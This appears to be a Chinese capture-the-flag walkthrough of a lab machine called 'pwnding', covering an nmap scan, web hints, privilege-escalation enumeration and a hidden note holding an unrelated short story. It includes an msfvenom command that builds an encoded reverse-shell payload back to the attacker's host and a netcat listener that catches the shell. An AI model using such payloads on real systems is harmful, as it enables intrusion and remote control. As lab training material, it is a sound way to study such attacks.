┌──(root㉿kakeru)-[~/tmp] └─# nmap 192.168.80.228 Starting Nmap 7.95 ( https://nmap.org ) at2025-03-2323:30 CST Nmap scan report for bogon (192.168.80.228) Host is up (0.0010s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp openhttp 6666/tcp open irc MAC Address: 0E:DC:E4:58:FA:C4 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in0.43seconds
开了一个不一样的端口 6666端口 还是先去web里面看看
web探测
直接访问就是给一个文本，照样扫描目录
1
Enumerating directories onmy server would ruin everything
┌──(root㉿kakeru)-[~/tmp] └─# curl 192.168.80.228/mysecret.txt Go to the most evil port. You will get what you want. Please be gentle with him, maybe he will be afraid. In order to obtain its source code. Perhaps you will need the dictionary below.
┌──(root㉿kakeru)-[~/tmp] └─# msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.80.11 LPORT=1234 -b '\x00,\x20,\x0f,\xcd,\x09,\x22,\x0a' -f raw > tmp [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x64 from the payload Found 3 compatible encoders Attempting to encode payload with1 iterations of x64/xor x64/xor succeeded with size 119 (iteration=0) x64/xor chosen withfinal size 119 Payload size: 119 bytes
┌──(root㉿kakeru)-[~/tmp] └─# nc -lp 1234 id uid=1001(lamb) gid=1001(lamb) groups=1001(lamb)
提权
得到密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14
lamb@pwnding:/home/lamb$ ls linpeas.sh suForce this_is_a_tips.txt use3e3e3e3e3sr.txt lamb@pwnding:/home/lamb$ cat this_is_a_tips.txt There is a fun tool called cupp. I heard it's a good social engineering dictionary generator. Are there really people that stupid these days? haha. There is only one way to become ROOT, which is to execute getroot!!! And don't forget, this is a PWN type machine.
lamb@pwnding:~$ find / -name '.*' -print 2>/dev/null | grep -Pv 'proc|run|sys' /var/backups/.secret /var/backups/.secret/.verysecret /var/backups/.secret/.verysecret/.noooooo /home/lamb/.viminfo /home/lamb/.profile /home/lamb/.bashrc /home/lamb/.bash_logout /home/lamb/.bash_history /tmp/.font-unix /tmp/.Test-unix /tmp/.X11-unix /tmp/.ICE-unix /tmp/.XIM-unix /etc/cron.daily/.placeholder /etc/cron.hourly/.placeholder /etc/cron.d/.placeholder /etc/cron.weekly/.placeholder /etc/cron.monthly/.placeholder /etc/skel/.profile /etc/skel/.bashrc /etc/skel/.bash_logout /etc/.pwd.lock lamb@pwnding:~$ cat /var/backups/.secret/.verysecret/.noooooo cat: /var/backups/.secret/.verysecret/.noooooo: Is a directory lamb@pwnding:~$ cd /var/backups/.secret/.verysecret/.noooooo lamb@pwnding:/var/backups/.secret/.verysecret/.noooooo$ ls note2.txt lamb@pwnding:/var/backups/.secret/.verysecret/.noooooo$ cat note2.txt The Compass and the Campfire David knelt beside his ten-year-old son, Jake, their shared backpack spilling onto the forest floor. "Lost?" Jake whispered, staring at the identical trees clawing at the twilight. David’s calloused fingers brushed the cracked compass in his palm—a relic from his father, its needle trembling like a moth. "Not lost," he lied. "Just… rerouting." Jake’s eyes narrowed, too sharp for comfort. "Your compass is broken." A chuckle escaped David, brittle as dry leaves. "Compasses don’t break, bud. They… forget." He flipped it open, the glass fogged with age. "See? North isn’t where it should be. It’s where it chooses to be tonight." The boy frowned, then yelped as a pinecone thudded beside him. A red squirrel chattered overhead, its tail flicking like a metronome. Jake’s fear dissolved into giggles. David watched, throat tight. He’s still young enough to laugh at squirrels.
"Dad?" Jake unzipped his jacket, revealing three granola bars and a glowstick. "We’ve got supplies. Let’s build a fort." They wove branches into a crooked shelter, Jake’s hands steady where David’s shook. When the first stars pierced the canopy, David confessed: "Grandpa gave me this compass the day I got lost in the mall. Told me it’d always point home." Jake snapped the glowstick, bathing their fort in alien green. "Does it work now?" The needle quivered, settling northwest. Toward the distant highway hum, not their cabin’s woodsmoke. David closed the brass lid. "Nope. But you do." He nodded at Jake’s pocket—where a crumpled trail map peeked out, dotted with the boy’s doodled dinosaurs. Dawn found them at the cabin’s porch, guided by Jake’s roars laughter and the squirrels he’d named "Sir Nibbles". The compass stayed in David’s pocket, its secret safe: true north had shifted years ago, anyway—from steel poles to a gap-toothed grin eating pancakes at 6 AM.
